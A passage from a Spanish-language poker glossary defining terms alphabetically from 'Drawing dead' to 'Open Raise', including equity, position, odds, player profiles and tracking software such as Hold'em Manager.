Se refiere a la situación por la cual un jugador no podrá superar la jugada de su rival debido a que en el mazo no quedan que puedan ayudarle a mejorar y supera a su rival, y en caso de haberlas, su rival ya tiene una jugada mejor que es imbatible. Por ejemplo, un jugador que tiene JT y la mesa es 9-8-8, el jugador piensa que podría ganar la mano completando una escalera si en turn y/o river saliera una Q o un 7, pero no sabe que su rival tiene 99, por lo que se diría que el jugador desconoce que se encuentra en una situación de “Drawing Dead”.

Drawing hand

Se refiere a tener una mano con opciones de completar jugadas como colores o escaleras.

Drawy board/ Wet board/ Mesa mojada/ Mesa húmeda

Se refiere a una mesa que en flop o turn posibilita muchos proyectos, es decir, hay muchas cartas que podrían salir en turn o river y completarlos.

Dry board / Mesa Seca

Se refiere a que la combinación de cartas comunitarias y hace poco posible que en turn o river puedan completarse proyectos.

ALFABETO

E

Early Position (EP)/ Primeras posiciones

Hace referencia a las posiciones tempranas de juego. Serían las posiciones “Under the gun” (UTG) y “Middle position” (MP) en una mesa de 6-max. En las mesas 9-max serían las 3 posiciones inmediatamente a la izquierda de la posición de Ciega Grande, y en las mesas 10-max correspondería a las 4 posiciones situadas inmediatamente a la izquierda de la posición de Ciega Grande.

Edge/ Ventaja/ Tener Edge/ Tener Ventaja

Se dice que un jugador tiene ventaja sobre otro debido a sus habilidades en el juego. También se refiere a cuando un jugador tiene posición en la mesa respecto al resto de rivales.

En Posición/ In position/ IP

Un jugador tiene posición o está en posición sobre el resto de sus rivales si éstos tienen que actuar antes que él. Se considera que jugar con posición tiene ventaja porque se cuenta con información debido al ser el último en actuar en la ronda actual y por ello conocer las acciones que han realizado sus rivales. Tener posición permite también controlar el tamaño del bote haciendo check behind cuando los rivales no han hecho apuestas en la calle actual.

Equilibrar/ Balancing

Concepto utilizado para definir la forma en la que un jugador juega todo su rango en lugar de jugar como más le convendría a su mano concreta, protegiendo todo su rango para evitar que sus rivales puedan explotarle. El objetivo es hacer que sus oponentes no sepan lo que está haciendo.

Equilibrio de Nash/ Nash Equilibrium

Situación en la que ambos jugadores conocen la estrategia “perfecta”, conociendo cada uno la estrategia del otro, de modo que ninguno de ellos puede ganar dinero del otro. El equilibrio de Nash suele aplicarse en el juego Heads-up (uno contra uno/ cara-a-cara) jugando con 15 o menos entre dos jugadores profesionales de la modalidad.

Equity

Es la parte del bote que le corresponde a cada jugador participante en una mano de póker, basada en las probabilidades de ganarlo. Por ejemplo, dos jugadores acaban yendo Allin preflop por todas sus fichas (100 fichas cada uno), uno de ellos tiene AA y el otro tiene KK, de promedio el jugador con AA ganará el bote el 82% de las veces, y el jugador con KK lo ganará el 18% de las veces porque logará conectar un set o una combinación mejor con las cartas comunitarias. Por tanto, este término se refiere a la parte del bote que le pertenece a cada jugador basándose en su probabilidad de ganar a largo plazo, o sea, si la misma situación se repitiera infinidad de veces.

Escalera/ Straight

Jugada formada por cinco cartas de valor consecutivo. La escalera vale menos que un color, y vale más que un trío.

Escalera de color/ Straight flush

Jugada formada por cinco cartas de valor consecutivo y del mismo palo. Es la segunda mejor jugada posible, por detrás de la escalera real.

Escalera real / Royal flush

Es la escalera de color formada por las cartas del mismo palo del Diez (T) al As (A). Es la mejor jugada posible en póker y se sucede con una probabilidad muy baja.

Explotar/ Exploit

Forma de juego que se desvía del juego equilibrado con intención de obtener rentabilidad de los errores (leaks en inglés) cometidos por los rivales. Dichos errores (leaks) son detectados mediante las estadísticas del HUD y/o por notas que se tienen sobre su juego.

Expected Value/ EV

Es el resultado que de promedio se espera obtener de una acción/decisión tomada durante el juego de una mano de poker. Mediante su cálculo se puede saber si una decisión o acción es rentable o no. Por tanto, una acción/decisión puede ser EV+ (positiva) cuando la jugada llevada a cabo produce de media un resultado positivo en el largo plazo, y puede ser EV- (negativa) cuando en el largo plazo resulte en pérdidas a largo plazo.

ALFABETO

F

Farha/ Farja

Movimiento por el cual un jugador iguala un 3bet no siendo el jugador que en primer lugar subió la mano. Este término es la forma coloquial de llamar al movimiento conocido como “Cold call 3bet”, y debe su nombre al jugador que lo hizo famoso, Sam Farha.

Farol/ Bluff

Es una apuesta con la que un jugador trata de hacer que su rival o rivales crean que tiene una mano mejor o peor que la que en realidad tiene. El objetivo de este movimiento es hacer que los rivales abandonen su mano cuando el jugador no tiene posibilidades de ganar con su mano, o hacer que los rivales continúen en la mano cuando el jugador ha conectado una jugada muy fuerte y quiere que sus rivales continúen en la mano haciéndoles pensar que tiene una jugada peor que la de ellos.

Fast play

Se refiere a cuando se realizan apuestas grandes y se juega de forma rápida una mano fuerte ya hecha. Es lo contrario al “Slow play”.

Ficha/ Chip

Se trata de un disco de plástico que representa el dinero con el que jugamos en una mesa de poker.

Field/ Campo

Se refiere al tipo medio de perfil de los jugadores que participan en un nivel concreto de mesas de cash en una sala concreta de póker online.

First in/ Primero en entrar

Se refiere al primer jugador que entra en una mano, pudiendo hacerlo o bien igualando el valor de la ciega grande o bien subiendo la apuesta mínima (haciendo un raise).

Fish/ Pez/ Pescado/ Jugador recreacional/ Jugador por diversión

Término por el que se define así al jugador poco hábil que comete muchos errores jugando al Poker debido a su desconocimiento o escasa formación en el juego. Lo contrario a este tipo de jugador es un “Tiburón” (shark en inglés): jugador que le saca el dinero a los fishes y a las los jugadores “barracuda”. El término “barracuda” se refiere al jugador intermedio entre estas dos categorías, y que son los jugadores con un nivel de juego entre mediocre y bueno, pero que a su vez pierden contra los Tiburones. “Piraña” hace referencia a los jugadores muy agresivos.

Flat call

Teniendo una mano fuerte con la que normalmente se resubiría ante una apuesta, es la acción por la cual un jugador decide igualar en vez de resubir cuando se enfrenta a dicha apuesta por parte de su rival. También se conoce como Slow play.

Flip

Ver definición de Coin flip.

Flop

Segunda ronda de apuestas en una mano de póker, después de la ronda preflop, y que comienza tras salir las tres primeras cartas comunitarias.

Flop 3-straight

Ocurre cuando puede haber proyectos completados con las tres cartas comunitarias y dos cartas de mano.

Flop Coordinado/ Mojado/ Drawy/ Wet board

Flop que presenta muchos proyectos posibles abiertos y/o completados. 

Flop Seco/ Dry

Se dice del flop en el que prácticamente no hay proyectos existentes o hay muy pocos.

Flop two wrapped

Es aquel cuya conectividad entre la carta más baja y la media y entre la carta media y la más alta, permite que un jugador pueda tener posibles proyectos de escalera, por ejemplo, un flop Q-9-6.

Flotar/ Float/ Bet vs Missed

Estando en posición y no teniendo la iniciativa en la calle anterior a la actual, consiste en hacer una apuesta cuando el rival con iniciativa en la calle anterior no ha hecho apuesta de continuación en la calle actual. Teste tipo de apuesta también se conoce como “Bet vs Missed in position”. En cambio, cuando un rival con iniciativa y posición en la calle anterior no hace apuesta en la calle actual, sino que hace Checkbehind y sale la carta de la siguiente calle, si su oponente (que está fuera de posición durante el postflop) hace una apuesta, este tipo de apuesta se denomina “Probe bet” o también “Bet vs Missed out of position”. En cualquiera de los dos casos esta apuesta hecha por el jugador sin iniciativa en la ronda previa se realiza tanto por valor como de farol.

Flotar de Farol/ Bluff bet vs missed

Basándose en la definición de flotar, cuando un jugador lleva a cabo esta acción de farol, es decir, con una mano que no tiene valor alguno y por tanto no tiene capacidad de ganar prácticamente nunca en caso de ambos jugadores mostrar sus cartas al showdown, lo hace con intención de que su rival abandone una mano mejor y así poder ganar el bote.

Flush/ Color

Mano de póker formada por cinco cartas del mismo palo, es la quinta mejor mano posible, por detrás de escalera real, escalera de color, póker y full house.

Flush draw

Proyecto consistente en tener 4 cartas del mismo palo (con las dos cartas de mano y otras dos de la mesa, o con una de ellas y otras tres de la mesa), que necesitan que en turn o river salga una carta más del mismo palo para completar dicho proyecto y formar un Color.

FML

Siglas de “fuck my life/ me cago en mi vida”. Hay jugadores que utilizan esta expresión mientras juegan online (escribiéndola en el chat) tras una situación compleja o tras haber perdido una oportunidad buena.

Fold Equity

Porcentaje del bote que ganamos de media cuando un jugador abandona su mano ante la apuesta de un contrario. Suele decirse “aquí hay fold equity” cuando se estima como probable que un rival pueda abandonar su mano ante una apuesta de su oponente.

Fold/ Foldear/ Abandonar

Un jugador que tira/abandona/foldea sus cartas de mano, retirándose de la mano en la ronda actual, y con ello cediendo a su rival el bote formado hasta ese momento y perdiendo las apuestas que previamente haya realizado.

Four of a Kind/ Póker

Cuatro cartas del mismo valor. Es la tercera mejor mano posible, por detrás de la escalera real y de la escalera de color.

Free Card/ Carta gratis/ Free play

Decimos que se produce una situación de “free card” cuando todos los rivales hacen check, y el jugador con posición también pasa, pudiendo de esta forma ver la carta de la siguiente calle sin tener que apostar ni pagar para lograrlo.

Fuga/ Leak/ Debilidad

Tener un Leak o detectar un Leak significa que hay una debilidad en la forma propia de jugar o en la de un rival que hace que el jugador en cuestión pierda dinero jugando en una situación o situaciones concretas

Fuera de Posición /Out of position/ OOP

Se dice que un jugador está fuera de posición o sin posición cuando en la ronda/calle actual tiene que realizar su acción antes de que su rival lo haga.

Full House

Mano compuesta de un trío y una pareja. Es la cuarta mejor mano posible, por detrás de escalera real, escalera de color, y póker.

Full Ring/ Mesa larga

Mesa de póker formada por un número de jugadores que varía entre 7 y hasta un máximo de 10.

Fundamental Theorem of Poker/ Teorema Fundamental del Poker

David Sklansky, famoso jugador de póquer y teórico del juego, lanzó su teorema fundamental en su libro “Ganar al Poker” (“The Theory of Poker”). Dicho teorema, traducido a español, viene a decir lo siguiente: Siempre que un jugador juegue de manera distinta a la que lo habría hecho si conociera las cartas del rival,su rival sacará ventaja sobre él ; siempre que un jugador haga el mismo movimiento que habría hecho en caso de conocer las cartas de su rival, el jugador saca ventaja.

ALFABETO

G

Gamblear

Consiste en jugar en una mesa de cash de un límite mayor al que por banca propia y buena gestión de la misma un jugador debería permitirse a sí mismo, ya que podría conllevar el riesgo de entrar en bancarrota.

Gap/ Hueco

Significa hueco o espacio. En poker se utiliza para referirse a la cartas de mano conectadas (suited y offsuit) Por ejemplo, 9-7 tendría un gap mientras que J-8 tendría dos gaps. Las cartas de mano de valor consecutivo se denominan conectores sin gap (sin hueco entre ellas), por ejemplo 87. Cuando su valor no es consecutivo, si hay un espacio entre ellas se denominan “conectores 1 gap/ 1-gap Connectors”, por ejemplo 86), si hay dos espacios entre ellas se llaman “conectores de 2 gap/ 2-gap Connectors”, por ejemplo 85), y si hay tres espacios entre ellas se llaman “conectores con 3 gap/ 3-gap Connectors”, por ejemplo 84).

GG/ Buen juego/ Buena jugada

Siglas de Good Game utilizadas en el chat de la mesa de juego por un jugador que quiere felicitar o reconocerle a otro jugador de la mesa que ha hecho una buena jugada o una buena sesión durante la partida de póker.

GL/ Buena suerte

Siglas de Good Luck utilizadas en el chat de la mesa para desear buena suerte al resto de jugadores.

GTO

Siglas de Game Theory Optimal (Juego Teóricamente Óptimo). Se refiere al juego perfecto e inexplotable en el que los participantes, hagan lo que hagan, no podrán ganar dinero unos de los otros.

Give up/ Desistir/ Rendir

Se denomina así a la acción por parte de un jugador de no continuar faroleando y desistir de su intento en una calle/ronda concreta.

Guerra de Ciegas/ Blinds war

Situación en la que entre sí se enfrentan únicamente los dos jugadores que se encuentran en las posiciones de Ciega Grande (BB) y Ciega Pequeña (SB).

Gutshot/ Proyecto de escalera interna a una carta

Proyecto de escalera a una carta que sólo puede completarse con una carta de un valor concreto, por ejemplo, un jugador tiene JT y el flop es A-7-8. El jugador completaría su jugada si en turn o river sale uno de los cuatro nueves que quedan en el mazo. En contraposición está el proyecto de escalera abierta, en el que el jugador podría completar su jugada si sale una de las dos cartas de distinto valor que quedan en el mazo. Por tanto, las posibilidades de completarse un proyecto de escalera son el doble de las que tiene de hacerlo un proyecto de gutshot.

ALFABETO

H

Habilidad/ Skill

Es la habilidad, talento o capacidad que se tiene para jugar al póker. Cuanto mayor sea la habilidad, sus resultados dependerán en menor medida de la varianza o de la suerte a favor. Un jugador sin habilidad puede tener éxito en el corto plazo y ganar a un jugador profesional durante una sesión de juego, pero en el largo plazo será el jugador profesional quien gane consistentemente jugando contra el jugador menos hábil.

Heads-Up/ Cara-a-cara

Mesa en la que sólo hay dos jugadores enfrentándose el uno al otro.

Hero

Forma común de llamarnos a nosotros mismos o al jugador que se esté estudiando al analizar una mano suya o su base de datos.

Hero Call

Acción de pagar una apuesta en el river con una mano débil. Tal y como expresa su nombre, se trata de pagar una apuesta de forma heroica.

High card/ Carta alta

Puede referirse bien a “Carta alta” aludiendo a la carta más alta en una mano de póker, o bien aludiendo al kicker de mayor valor cuando en una mano de póquer no se ha ligado una jugada que como mínimo sea pareja. Si dos jugadores llevan sus manos al showdown sin haber ligado ninguno de ellos una pareja o mano mejor, ganará de ellos el que tenga el kicker más alto, y en caso de ambos tener el mismo, ganaría aquel cuya segunda carta de mano fuese la más alta en valor respecto a la de su contrario.

High stakes

Límites altos. Son las partidas de dinero real de los límites más altos en cada sala online, en mesa donde el valor de las ciegas es de 5 o 10 dólares/euros en adelante.

Hijack

Posición en la mesa de póker situada inmediatamente a la derecha de la posición del Cutoff. Pertenece al conjunto de posiciones denominadas como “posiciones medias o intermedias” de la mesa, es decir, su turno de acción es posterior al de los jugadores en posición más temprana (en “primeras posiciones” o en “early position”) y anterior al turno de acción del Cutoff y el Botón.

Hit/ Impactar/ Ligar/ ”Hitear” (pronunciando la H como una Jota)

Se refiere a cuando una de las cartas comunitarias mejora la mano de un jugador.

Hit and run

Acción por la cual un jugador se sale de una mesa inmediatamente después de haber ganado un bote grande durante una partida de juego.

Hole cards/ Cartas iniciales

Se refiere a las dos cartas que cada jugador recibe boca abajo cada vez que se reparte una mano de póker.

Hold´em Manager/ Hold´em Manager 2/ Hold´em Manager 3

Versiones de uno de los softwares de póker más populares y conocidos en el mundo del poker, y que a semejanza de los demás del mercado, permite analizar nuestro juego, el de nuestros rivales, consultar nuestros resultados y nos muestra datos estadísticos de nuestros rivales en las mesas a tiempo real mientras jugamos contra ellos para poder tomar decisiones en base a dichos datos. En el argot del del póker, estos softwares estadísticos se conocen como “trackers”. Similares al Hold’em Manager encontramos en el mercado el Poker Tracker 4, el Hand2Note, y varios más.

Home game

Se refiere a las partidas que se juegan entre amigos o jugadores que pertenecen a un mismo club, a un mismo grupo de Facebook, etc.

Hourly/ Ratio de ganancias por hora

Se refiere a las ganancias que promedia un jugador por cada hora que está jugando al póker. Es uno más de todos los datos que puede ofrecernos un tracker. 

HUD/ Heads Up Display

Son los datos estadísticos de los oponentes ofrecidos a tiempo real por los trackers mientras se juega en una mesa de póker, que también pueden verse cuando repasamos manos ya jugadas. Nos ofrece información a tiempo real basada en las acciones previas que los jugadores de la mesa actual hayan realizado desde la primera vez que hayamos coincidido con ellos en una misma mesa. Con el HUD podemos visualizar la información que el tracker ha recopilado en el tiempo sobre un rival. El HUD es una de las funciones que trae consigo cualquier programa de trackeo como por ejemplo “Hold´em Manager” o “Poker tracker4”.

ALFABETO

I

Idiot End/ Escalera del Idiota

Es la escalera más baja que puede formarse con una de las cartas recibidas de mano por el jugador y en la mesa hay cuatro cartas consecutivas. Se llama del idiota porque es muy vulnerable a escaleras superiores. Formadas por una o las dos cartas del oponente.

Imagen/ Image

Se refiere a cómo percibe el resto de rivales a cada jugador de la mesa.

Implícitas/ Odds implícitas/ Implied Odds

Se habla de ellas para referirse a cuando se juega un proyecto cuya probabilidad de completarse en la siguiente calle (PER) es menor a las probabilidades que ofrece pagar/igualar la apuesta del rival en la calle actual, y en caso del jugador igualar, lo hace porque piensa que en caso de completarse podrá obtener de su rival una apuesta extra que compensará el call fuera de odds que vaya a hacer en la ronda actual.

In-Game

Se refiere al lapso de tiempo durante el que un jugador esté, valga la redundancia, jugando a póker. 

In Position (IP)/ En Posición/ Tener Posición

Significa que un jugador está en posición cuando en una ronda su rival ha de actuar antes que él.

Inducir (inducir acción)

Acción por la cual un jugador, o bien pasa (check) o bien hace una apuesta (bet) muy pequeña con intención de inducir una apuesta o una resubida por parte de su rival. Se puede inducir a un oponente tanto estando en posición como sin ella.

Iniciativa/ Initiative

Se dice que en la calle/ronda actual un jugador tiene la iniciativa en una mano cuando ha sido el último en realizar una apuesta o una subida en la calle/ronda anterior. Por tanto, tener la iniciativa significa haber sido el último agresor en la calle anterior.

Inside Straight draw/ Belly buster/ Proyecto de escalera interna a 1 carta

Ver definición de Gutshot.

Insta-call

Acción de pagar una apuesta de manera de manera inmediata, sin pensarlo ni por un momento.

Insta-fold

Acción de retirarse de la mano/foldear de manera inmediata, sin pensarlo ni por un momento.

Ir por detrás/ Underdog/ “Ser Underdog”/ Way behind

Se refiere a la situación en la que un jugador ha apostado todas sus fichas yendo Allin antes del river con una mano que en ese momento es peor que la de su rival y tiene pocas posibilidades de acabar ganándole.

Isolate/ ISO/ Aislar/ ROL/ Raise Over Limpers

Se dice que un jugador ha hecho “ISO” o “ROL” cuando ha hecho una subida algo más grande de lo habitual con intención de que sus rivales no entren en la mano, para de este modo tratar de aislarse y jugar el postflop en modo heads-up contra el rival (normalmente débil y/o recreacional) que ha hecho Limp preflop.

ALFABETO

J

Jam

Forma coloquial alternativa de expresar en inglés que un jugador ha apostado All-in por todas sus fichas.

Juego balanceado/ Juego equilibrado

Forma/estrategia de juego donde un jugador tiene, en el conjunto de su rango, una cantidad o proporción similar de manos fuertes, medias y débiles. Es la estrategia que más suelen aplicar los jugadores profesionales de límites altos.

Juego explotador

Estrategia basada en obtener beneficio de los errores/leaks/debilidades detectados en cada uno de los rivales de su mesa.

Jugador Agresivo

Se llama agresivo al jugador que de forma habitual hace apuestas, subidas y resubidas al objeto de eliminar a sus rivales durante el juego de las manos, y para ello suelen tener una frecuencia de promedio de farol mayor que la media de farol de sus rivales.

Jugador Débil

Se llama débil al jugador que tiene errores en su juego, lo que lo convierte en un jugador explotable frente a jugadores más hábiles o experimentados que él.

Jugador Pasivo

Se llama pasivo al jugador que apuesta y sube apuestas con muy poca frecuencia, prefiriendo la mayoría de veces las acciones de igualar apuestas o hacer check antes que hacer una apuesta o una resubida. Cuando un jugador con este perfil decide jugar su mano de forma agresiva significará la gran mayoría de veces que tiene una mano muy fuerte.

Jugador Recreacional

Se denomina así al jugador que juega al poker de manera poco frecuente y cuando juega lo hace por diversión. Es un perfil de jugador perdedor en el largo plazo. Una mesa compuesta en su mayoría por jugadores recreacionales suele denominarse “pecera”.

Jugador Regular

Se denomina así al jugador que juega partidas con una frecuencia alta o muy alta. Los jugadores con este perfil suelen ser jugadores ganadores en el largo plazo, aunque también puede ser un jugador débil que juega con frecuencia, pero que gana poco o incluso pierde debido a que no estudia ni trata de mejorar su juego.

ALFABETO

K

Kicker

Es la carta más alta en la que un jugador basa su jugada. El kicker ha de ser siempre una de las dos cartas de mano recibidas, y es una carta que no se ha emparejado con ninguna de las cinco cartas comunitarias, independientemente de si con su otra carta ha ligado alguna jugada con las cartas comunitarias. Por ejemplo, un jugador tiene J8, su rival tiene 98, y las cartas comunitarias fueron 8-8-Q-5-3; a pesar de ambos jugadores tener un trío de ochos, el bote lo ganará el jugador con el kicker más alto, en este ejemplo, el jugador con J8 ganará el bote.

ALFABETO

L

Ladrillo/ Brick/ Blanca/ Blank

Carta que teóricamente no completa ningún proyecto, apenas afecta a la dinámica de la mesa y la mayoría de las veces no hace que mejore la peor de las manos en juego.

Ladies/ “Damas”

Forma de referirse a la mano QQ cuando se reciben como cartas de mano dos de las cuatro damas disponibles en el mazo.

LAG/ Loose Aggressive

Siglas para referirse al tipo de jugador Loose Aggressive, es decir, aquel que juega muchas manos (rango amplio) haciéndolo de forma agresiva.

Late Position/ Late/ Últimas posiciones

Normalmente se refiere al dos últimas posiciones inmediatamente anteriores a las dos últimas posiciones de la mesa (ciega grande o BB y ciega pequeña o SB), y serían las posiciones Cutoff (CO) y Botón (BT/BU).

Laydown/ Fold/ Foldear

Se refiere a la acción mediante la que un jugador abandona sus cartas de mano y se retira de la mano en la ronda de apuestas actual. Es sinónimo de hacer fold  y foldear.

Leak/ Fuga/ Debilidad

Una fuga es un punto débil en el estilo o estrategia de juego que causa pérdidas de dinero.

Lead

Primera apuesta en una ronda de apuestas.

Leak/ Fuga/ Debilidad

Ver definición de “Fuga/ Leak/ Debilidad”.

Levelear/ Levelling

Se refiere a cuando dos jugadores que en teoría saben cómo piensa y juega el contrario, y creen saber cómo pensará y actuará su rival ante una acción llevada a cabo por ellos. Se refiere también a los niveles de pensamiento en póker. Uno de los mayores que un jugador puede cometer es creer que su rival se encuentra en un nivel de pensamiento, cuando en realidad su rival se encuentra en un nivel de pensamiento inferior y no actuará como él piensa que lo hará, lo cual provocará a que gane menos cuando tenga una mano mejor y que pierda más cuando tenga una mano peor porque pensó que su rival no pagaría sus apuestas de farol.

Limped Pot

Se refiere a los botes en los que los jugadores participantes llegaron al flop sin hacer ni pagar una subida preflop, ya que sólo igualaron el valor de la ciega grande para entrar en la mano y poder ver el flop.

Limper/ Limpeador

Jugador que, estando fuera de las posiciones de BB y SB, entra en la mano desde la ronda preflop habiendo para ello igualado el valor de la ciega grande, sin haber apostado.

Limp/ Limpear

Acción de igualar la ciega grande llevada a cabo por el jugador llamado Limper, entrando a la mano sin apostar ni subir en la ronda preflop.

Limp-Cbet/ Limp-cbetear

Acción de apostar en el flop llevada a cabo por un jugador que hizo limp preflop y tras salir el flop es el primero que efectúa una apuesta en la calle actual.

Limp-Raise/ Limp-reraise

Movimiento por el que un jugador hace limp preflop, otro rival tras él sube/apuesta (hace ISO/ROL) , y el jugador que limpeó resube la apuesta de su rival, o sea, hizo limp+raise o limp+reraise.

Limper

Jugador que hace limp.

Línea/ Line

Es el conjunto de las decisiones y apuestas efectuadas por un jugador durante el desarrollo de una mano de póker durante el flop, turn y river.

Lobby

En la zona del software de la sala de poker online donde se muestran las mesas de todas las modalidades de póker que dicha sala online ofrece a sus usuarios.

Loose

Un jugador loose es el que juega muchas manos, tanto de forma pasiva como agresiva. Es lo contrario de un jugador Tight, que juega menos manos.

Loose Passive

Estilo de juego en el que se juegan muchas manos apostando y resubiendo con una frecuencia baja, muy baja e incluso nula, lo que lo hace ser un estilo de juego no rentable o de muy baja rentabilidad.

Low Stakes/ Niveles bajos

Son los límites (stakes en inglés) bajos que se encuentran justo por encima de los microlímites. Son partidas donde el valor ciega grande va desde los 0,5 dólares o euros hasta 1 dólar o euro (desde nl50 hasta nl100).

Lucky River (Riverazo)

Se refiere a cuando la carta del river hace que el jugador con la peor mano en el turn tenga ahora en river la mejor mano, permitiéndole superar a la mano de su rival.

ALFABETO

M

Main pot/ Bote principal

Es el dinero del bote por el que compiten todos los jugadores involucrados en el desarrollo de una mano de póker y que han ido invirtiendo dinero en las sucesivas rondas de apuestas. En el caso de haber un jugador (más corto de fichas que el resto) que vaya Allin, hará que a partir de ese momento las nuevas apuestas que se realicen entren a formar parte de un nuevo bote llamado “secundario” por el que competirán todos los jugadores que continúen en dicha mano, excepto el jugador que acabó Allin, que sólo participará del bote principal que se formó en el momento de apostar todas sus fichas.

Maníaco

Se refiere al jugador que juega un rango muy amplio de forma exageradamente agresiva, faroleando con una frecuencia también excesiva, tratando de ganar todos los botes. Es el perfil de jugador más incómodo al que enfrentarse, al tiempo que también es el jugador más rentable posible debido a sus leaks. Se podría comparar con la forma más extrema del perfil Loose-Aggressive.

Mano

Se dice que una nueva mano comienza cuando se reparten las cartas iniciales, y que finaliza cuando algún jugador ha ganado el bote existente (“empezó la mano”, “se acabó la mano, el jugador B ganó el bote, y ahora comienza la siguiente mano”).

Mano basura / Trash hand

Mano muy mala que rara vez podrá ganar si es llevada hasta el showdown. La manera en la que podría ganar el bote existente sería haciendo un farol para tratar de que el rival abandonara la suya.

Mano dominada/ Dominated hand

Se dice que una mano está dominada por otra, cuando tiene la misma carta alta que el rival pero tiene un kicker más bajo. Ejemplo de mano dominada sería A-Q vs A-K (A-Q está dominada por A-K).

Mano especulativa

Mano con potencial de mejorar con las cartas comunitarias. Por ejemplo, 65 de corazones (tiene potencial de ligar proyectos que de completarlos serían una mano muy fuerte).

Mano hecha/ Made hand

Mano o jugada que tiene valor y que puede tanto ganar como perder frente a la mano o jugada del oponente.

Mano marginal

Mano de escas valor que casi siempre estará superada por la mano del rival.

Mazo/ Deck

Baraja de cartas de poker.

Mesa/ Board

Se refiere a las cartas comunitarias mostradas, sin importar si se repartieron el turn y el river. Para poder decir “mesa” sólo es necesario que se hayan mostrado las tres primeras cartas comunitarias, es decir, las tres cartas que forman el flop. 

Mesa corta/ Short Handed/ 6-max/ SH

Se refiere a las mesas en las que hay sentados un mínimo de 3 jugadores y un máximo de 6.

Mesa larga/ 9-10max

Se refiere a las mesas en las que hay sentados un mínimo de 7 jugadores y un máximo de 10.

Metagame/ Metajuego

Se refiere al estilo de juego promedio de todos los jugadores de un determinado nivel/stake o al estilo promedio de los jugadores de una mesa de póker en particular.

Microlímites/ Microlimits

Se llama así a los niveles más bajos que ofrecen las distintas salas de poker online. Son partidas donde el valor de la ciega grande va desde 0.02 dólares o euros hasta los 0.25 dólares o euros.

Middle Pair/Mid pair/ Pareja media

Es la pareja formada con una de las cartas de mano del jugador con la segunda carta de mayor valor de la mesa. 

Mid-stakes

Límites medios. Se les suele llamar partidas de límites medios a aquellas partidas donde el valor de la ciega grande va desde los 2 dólares o euros hasta los 6 dólares o euros (desde nl200 hasta nl600).

Middle Position (MP)

Se llama así a las posiciones medias de la mesa que actúan tras las primeras posiciones y anteriormente a las posiciones de cutoff y botón. En mesa 6máx sería la posición anterior a CO (a su derecha), y en mesas de 9 y 10 jugadores serían las 3 posiciones anteriores a CO (a su derecha).

Mini Raise/ Minraise

Es la subida de apuesta más pequeña que se puede hacer en una mano. Preflop la apuesta mínima es el doble de la ciega grande, pero, si un rival hace una subida preflop, el mini raise equivaldrá a la diferencia entre la subida del rival menos la ciega grande y al importe resultante se le sumará el valor de la subida del rival (por ejemplo, en nl100, si un rival abre a 2.5bbs, el mini raise sería a 4bbs (2.5bb – 1bb = 1.5bb ;1.5bb +2.5bb = 4bbs ). Durante las rondas Postflop (flop, turn y river), el Minraise equivale al doble de la apuesta del rival.

Missclick

Se produce cuando en una partida de poker online el jugador realiza por error una acción distinta a la que iba a realizar, y por ejemplo sube, iguala o apuesta cuando en realidad iba a foldear su mano.

Missed Draw/ Busted Draw

Ambas expresiones se refieren a los proyectos no completados tras salir la carta del river.

Monocolor/ 3suited

Se le denomina así al flop en el que las tres cartas son del mismo palo.

Monster Draw

Proyecto que de flop a river tiene una probabilidad de completarse mayor al 50%; normalmente son proyectos con 14 o más outs.

Monster hand/ Monstruo

En español, monstruo de mano. Se llama así a tener una mano muy fuerte, casi imbatible.

Muck

Acción por la cual un jugador paga una apuesta en el river y tras ser superado por la jugada del rival, devuelve sus cartas al mazo boca abajo, sin mostrarlas.

Multiway

Multijugador. Un bote donde llegan a ver las cartas del flop 3 o más jugadores.

ALFABETO

N

NH

Forma abreviada de decir “Nice Hand” o “buena mano”, escrita por el chat de la mesa cuando un rival felicita a un oponente por cómo jugó una mano o por el valor de la misma.

Nit/ Rock/ Roca

Se le llama así al jugador que juega rangos muy estrechos. Su juego es directo, participa en muy pocas manos, y cuando entra en un bote o permanece en él lo hace con manos fuertes. Suele llamárseles jugadores de tipo “Tight-passive” o “roca” y abandona fácilmente su mano evitándose a sí mismo las situaciones difíciles cuando no ha ligado algo muy fuerte o cuando la textura de la mesa hace que su mano fuerte se haya devaluado.

Nitty

Jugador que juega como un “Nit”, pensando a cada momento que sus oponentes pueden tener una mano mejor.

Non-showdown winnings (ganancias sin showdown)

Hace referencia a aquellas ganancias que un jugador obtiene de las manos en las que no ha habido showdown y por tanto ha ganado el bote sin tener que mostrar sus cartas. Suelen estar representadas en los gráficos de los programas de trackeo en color rojo. 

Noob

Newbie, jugador novato.

Nosebleeds

Del inglés “narices sangrantes”. Término que hace referencia a las partidas de los niveles más altos existentes. Serían partidas cuya ciega grande es de 50 dólares o euros en adelante.

Nota

Anotación que un jugador realiza sobre otro jugador describiendo su estilo de juego o tendencias en situaciones concretas del juego. Las salas de poker online suelen tener un apartado para realizar notas sobre nuestros oponentes.

Nut Flushdraw

Hace referencia al mejor proyecto posible de color. 

Nut Flush

Hace referencia al color máximo.

Nuts

Hace referencia a la mejor jugada posible en una mano en particular y en una ronda/calle concreta de apuestas.

ALFABETO

O

Odds

Se refiere a las probabilidades de éxito que ofrece el bote en una jugada determinada. Todo jugador ha de comparar este valor con las probabilidades que piensa que tiene de ganar el bote, y si éstas últimas son mayores que las que ofrece la apuesta del rival, igualará dicha apuesta. Esto quiere decir que hay que igualar las apuestas siempre que las odds de las apuestas sean inferiores a las posibilidades de completar una jugada. Por ejemplo, en un bote de 15bb un rival apuesta 5bb. El jugador tendría que poner 5bb para ganar un bote en el que ahora hay 20bb, por lo que sus Odds serían de 20:5, o lo que es lo mismo, de 4:1 (en porcentaje, 5:20=0,2 x100= un 20%). Si este jugador estima que en la próxima calle completará su jugada con una frecuencia mayor al 20%, y que con dicha jugada batirá a la de su rival, entonces tendrá que pagar siempre porque es una decisión rentable.

Odds Implícitas/ Implied odds

Ver definición de Odds Implícitas.

OESD/ Open Ended Straight Draw

Es un proyecto de escalera a dos puntas. Por ejemplo, un jugador tiene 7-6 y las cartas comunitarias vienen 4-5-T, por lo que, si en turn o river sale un 3 o un 8, el jugador completaría una escalera.

Offsuit

Se refiere a dos cartas de mano cualquiera y que son de distinto palo. Es lo contrario a Suited.

One-Outer

Se llama así a la situación en la que la mano de un jugador sólo puede contar con una de las cartas del mazo para poder vencer a la mano de su oponente y ganar el bote. Por ejemplo, un jugador tiene 99, su rival tiene 55, y el flop es 9-5-5. Por tanto, en el mazo queda una única carta con la que el jugador podría ganar al póker ligado en el flop por su rival.

Open Limp

Acción consistente en empezar la ronda de apuestas preflop igualando la ciega grande y siendo el primer jugador en hacerlo, sin que haya habido otros limpers antes de su turno.

Open Raise (OR)

